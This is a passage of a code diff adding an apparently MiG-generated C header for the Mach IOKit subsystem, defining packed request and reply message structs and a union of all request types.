propertiesCnt; + } __Request__io_connect_set_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t outputCnt; + } __Request__io_connect_method_scalarI_scalarO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t outputCnt; + } __Request__io_connect_method_scalarI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t inputStructCnt; + char inputStruct[4096]; + } __Request__io_connect_method_scalarI_structureI_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t selector; + mach_msg_type_number_t inputCnt; + char input[4096]; + mach_msg_type_number_t outputCnt; + } __Request__io_connect_method_structureI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_get_path_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_get_root_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t propertiesCnt; + } __Request__io_registry_entry_set_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_object_get_retain_count_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_service_get_busy_state_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_timespec_t wait_time; + } __Request__io_service_wait_quiet_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + uint32_t options; + } __Request__io_registry_entry_create_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_iterator_is_valid_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t of_type; + uint32_t options; + mach_msg_type_number_t inputCnt; + char input[4096]; + } __Request__io_make_matching_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t inData; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t flag; + mach_msg_type_number_t inDataCnt; + } __Request__io_catalog_send_data_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t flag; + mach_msg_type_number_t nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t nameCnt; + char name[128]; + } __Request__io_catalog_terminate_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t flag; + } __Request__io_catalog_get_data_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_catalog_get_gen_count_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t nameCnt; + char name[128]; + } __Request__io_catalog_module_loaded_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t flag; + } __Request__io_catalog_reset_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t options; + } __Request__io_service_request_probe_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_get_name_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */ + mach_msg_type_number_t matchingCnt; + char matching[512]; + } __Request__io_service_match_property_table_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t outputCnt; + } __Request__io_async_method_scalarI_scalarO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t outputCnt; + } __Request__io_async_method_scalarI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + uint32_t selector; + mach_msg_type_number_t inputCnt; + io_user_scalar_t input[16]; + mach_msg_type_number_t inputStructCnt; + char inputStruct[4096]; + } __Request__io_async_method_scalarI_structureI_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + uint32_t selector; + mach_msg_type_number_t inputCnt; + char input[4096]; + mach_msg_type_number_t outputCnt; + } __Request__io_async_method_structureI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t notification_typeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t notification_typeCnt; + char notification_type[128]; + mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */ + mach_msg_type_number_t matchingCnt; + char matching[512]; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + } __Request__io_service_add_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t type_of_interestOffset; /* MiG doesn't use it */ + mach_msg_type_number_t type_of_interestCnt; + char type_of_interest[128]; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + } __Request__io_service_add_interest_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + natural_t notify_ref; + natural_t response; + } __Request__io_service_acknowledge_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + natural_t notification_type; + } __Request__io_connect_get_notification_semaphore_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t into_task; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t memory_type; + vm_address_t address; + } __Request__io_connect_unmap_memory_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + } __Request__io_registry_entry_get_location_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t planeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t planeCnt; + char plane[128]; + mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t property_nameCnt; + char property_name[128]; + uint32_t options; + } __Request__io_registry_entry_get_property_recursively_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_service_get_state_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t matching; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t matchingCnt; + } __Request__io_service_get_matching_services_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t matching; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t matchingCnt; + } __Request__io_service_match_property_table_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t matching; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t notification_typeOffset; /* MiG doesn't use it */ + mach_msg_type_number_t notification_typeCnt; + char notification_type[128]; + mach_msg_type_number_t matchingCnt; + mach_msg_type_number_t referenceCnt; + io_user_reference_t reference[8]; + } __Request__io_service_add_notification_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t obj_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t obj_nameCnt; + char obj_name[128]; + } __Request__io_object_get_superclass_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t obj_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t obj_nameCnt; + char obj_name[128]; + } __Request__io_object_get_bundle_identifier_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t owningTask; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t connect_type; + NDR_record_t ndr; + mach_msg_type_number_t propertiesCnt; + } __Request__io_service_open_extended_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t into_task; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t memory_type; + mach_vm_address_t address; + mach_vm_size_t size; + uint32_t flags; + } __Request__io_connect_map_memory_into_task_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t from_task; + /* end of the kernel processed data */ + NDR_record_t NDR; + uint32_t memory_type; + mach_vm_address_t address; + } __Request__io_connect_unmap_memory_from_task_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + uint32_t selector; + mach_msg_type_number_t scalar_inputCnt; + uint64_t scalar_input[16]; + mach_msg_type_number_t inband_inputCnt; + char inband_input[4096]; + mach_vm_address_t ool_input; + mach_vm_size_t ool_input_size; + mach_msg_type_number_t scalar_outputCnt; + mach_msg_type_number_t inband_outputCnt; + mach_vm_address_t ool_output; + mach_vm_size_t ool_output_size; + } __Request__io_connect_method_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t wake_port; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t referenceCnt; + uint64_t reference[8]; + uint32_t selector; + mach_msg_type_number_t scalar_inputCnt; + uint64_t scalar_input[16]; + mach_msg_type_number_t inband_inputCnt; + char inband_input[4096]; + mach_vm_address_t ool_input; + mach_vm_size_t ool_input_size; + mach_msg_type_number_t scalar_outputCnt; + mach_msg_type_number_t inband_outputCnt; + mach_vm_address_t ool_output; + mach_vm_size_t ool_output_size; + } __Request__io_connect_async_method_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + } __Request__io_registry_entry_get_registry_entry_id_t; +#ifdef __MigPackStructs +#pragma pack() +#endif +#endif /* !__Request__iokit_subsystem__defined */ + +/* union of all requests */ + +#ifndef __RequestUnion__iokit_subsystem__defined +#define __RequestUnion__iokit_subsystem__defined +union __RequestUnion__iokit_subsystem { + __Request__io_object_get_class_t Request_io_object_get_class; + __Request__io_object_conforms_to_t Request_io_object_conforms_to; + __Request__io_iterator_next_t Request_io_iterator_next; + __Request__io_iterator_reset_t Request_io_iterator_reset; + __Request__io_service_get_matching_services_t Request_io_service_get_matching_services; + __Request__io_registry_entry_get_property_t Request_io_registry_entry_get_property; + __Request__io_registry_create_iterator_t Request_io_registry_create_iterator; + __Request__io_registry_iterator_enter_entry_t Request_io_registry_iterator_enter_entry; + __Request__io_registry_iterator_exit_entry_t Request_io_registry_iterator_exit_entry; + __Request__io_registry_entry_from_path_t Request_io_registry_entry_from_path; + __Request__io_registry_entry_get_name_t Request_io_registry_entry_get_name; + __Request__io_registry_entry_get_properties_t Request_io_registry_entry_get_properties; + __Request__io_registry_entry_get_property_bytes_t Request_io_registry_entry_get_property_bytes; + __Request__io_registry_entry_get_child_iterator_t Request_io_registry_entry_get_child_iterator; + __Request__io_registry_entry_get_parent_iterator_t Request_io_registry_entry_get_parent_iterator; + __Request__io_service_open_t Request_io_service_open; + __Request__io_service_close_t Request_io_service_close; + __Request__io_connect_get_service_t Request_io_connect_get_service; + __Request__io_connect_set_notification_port_t Request_io_connect_set_notification_port; + __Request__io_connect_map_memory_t Request_io_connect_map_memory; + __Request__io_connect_add_client_t Request_io_connect_add_client; + __Request__io_connect_set_properties_t Request_io_connect_set_properties; + __Request__io_connect_method_scalarI_scalarO_t Request_io_connect_method_scalarI_scalarO; + __Request__io_connect_method_scalarI_structureO_t Request_io_connect_method_scalarI_structureO; + __Request__io_connect_method_scalarI_structureI_t Request_io_connect_method_scalarI_structureI; + __Request__io_connect_method_structureI_structureO_t Request_io_connect_method_structureI_structureO; + __Request__io_registry_entry_get_path_t Request_io_registry_entry_get_path; + __Request__io_registry_get_root_entry_t Request_io_registry_get_root_entry; + __Request__io_registry_entry_set_properties_t Request_io_registry_entry_set_properties; + __Request__io_registry_entry_in_plane_t Request_io_registry_entry_in_plane; + __Request__io_object_get_retain_count_t Request_io_object_get_retain_count; + __Request__io_service_get_busy_state_t Request_io_service_get_busy_state; + __Request__io_service_wait_quiet_t Request_io_service_wait_quiet; + __Request__io_registry_entry_create_iterator_t Request_io_registry_entry_create_iterator; + __Request__io_iterator_is_valid_t Request_io_iterator_is_valid; + __Request__io_make_matching_t Request_io_make_matching; + __Request__io_catalog_send_data_t Request_io_catalog_send_data; + __Request__io_catalog_terminate_t Request_io_catalog_terminate; + __Request__io_catalog_get_data_t Request_io_catalog_get_data; + __Request__io_catalog_get_gen_count_t Request_io_catalog_get_gen_count; + __Request__io_catalog_module_loaded_t Request_io_catalog_module_loaded; + __Request__io_catalog_reset_t Request_io_catalog_reset; + __Request__io_service_request_probe_t Request_io_service_request_probe; + __Request__io_registry_entry_get_name_in_plane_t Request_io_registry_entry_get_name_in_plane; + __Request__io_service_match_property_table_t Request_io_service_match_property_table; + __Request__io_async_method_scalarI_scalarO_t Request_io_async_method_scalarI_scalarO; + __Request__io_async_method_scalarI_structureO_t Request_io_async_method_scalarI_structureO; + __Request__io_async_method_scalarI_structureI_t Request_io_async_method_scalarI_structureI; + __Request__io_async_method_structureI_structureO_t Request_io_async_method_structureI_structureO; + __Request__io_service_add_notification_t Request_io_service_add_notification; + __Request__io_service_add_interest_notification_t Request_io_service_add_interest_notification; + __Request__io_service_acknowledge_notification_t Request_io_service_acknowledge_notification; + __Request__io_connect_get_notification_semaphore_t Request_io_connect_get_notification_semaphore; + __Request__io_connect_unmap_memory_t Request_io_connect_unmap_memory; + __Request__io_registry_entry_get_location_in_plane_t Request_io_registry_entry_get_location_in_plane; + __Request__io_registry_entry_get_property_recursively_t Request_io_registry_entry_get_property_recursively; + __Request__io_service_get_state_t Request_io_service_get_state; + __Request__io_service_get_matching_services_ool_t Request_io_service_get_matching_services_ool; + __Request__io_service_match_property_table_ool_t Request_io_service_match_property_table_ool; + __Request__io_service_add_notification_ool_t Request_io_service_add_notification_ool; + __Request__io_object_get_superclass_t Request_io_object_get_superclass; + __Request__io_object_get_bundle_identifier_t Request_io_object_get_bundle_identifier; + __Request__io_service_open_extended_t Request_io_service_open_extended; + __Request__io_connect_map_memory_into_task_t Request_io_connect_map_memory_into_task; + __Request__io_connect_unmap_memory_from_task_t Request_io_connect_unmap_memory_from_task; + __Request__io_connect_method_t Request_io_connect_method; + __Request__io_connect_async_method_t Request_io_connect_async_method; + __Request__io_registry_entry_get_registry_entry_id_t Request_io_registry_entry_get_registry_entry_id; +}; +#endif /* !__RequestUnion__iokit_subsystem__defined */ +/* typedefs for all replies */ + +#ifndef __Reply__iokit_subsystem__defined +#define __Reply__iokit_subsystem__defined + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t classNameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t classNameCnt; + char className[128]; + } __Reply__io_object_get_class_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + boolean_t conforms; + } __Reply__io_object_conforms_to_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t object; + /* end of the kernel processed data */ + } __Reply__io_iterator_next_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_iterator_reset_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t existing; + /* end of the kernel processed data */ + } __Reply__io_service_get_matching_services_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t propertiesCnt; + } __Reply__io_registry_entry_get_property_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t iterator; + /* end of the kernel processed data */ + } __Reply__io_registry_create_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_registry_iterator_enter_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_registry_iterator_exit_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t registry_entry; + /* end of the kernel processed data */ + } __Reply__io_registry_entry_from_path_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t nameCnt; + char name[128]; + } __Reply__io_registry_entry_get_name_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t propertiesCnt; + } __Reply__io_registry_entry_get_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t dataCnt; + char data[4096]; + } __Reply__io_registry_entry_get_property_bytes_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t iterator; + /* end of the kernel processed data */ + } __Reply__io_registry_entry_get_child_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t iterator; + /* end of the kernel processed data */ + } __Reply__io_registry_entry_get_parent_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t connection; + /* end of the kernel processed data */ + } __Reply__io_service_open_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_service_close_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t service; + /* end of the kernel processed data */ + } __Reply__io_connect_get_service_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_connect_set_notification_port_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + vm_address_t address; + vm_size_t size; + } __Reply__io_connect_map_memory_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_connect_add_client_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + kern_return_t result; + } __Reply__io_connect_set_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + io_user_scalar_t output[16]; + } __Reply__io_connect_method_scalarI_scalarO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + char output[4096]; + } __Reply__io_connect_method_scalarI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_connect_method_scalarI_structureI_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + char output[4096]; + } __Reply__io_connect_method_structureI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t pathOffset; /* MiG doesn't use it */ + mach_msg_type_number_t pathCnt; + char path[512]; + } __Reply__io_registry_entry_get_path_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t root; + /* end of the kernel 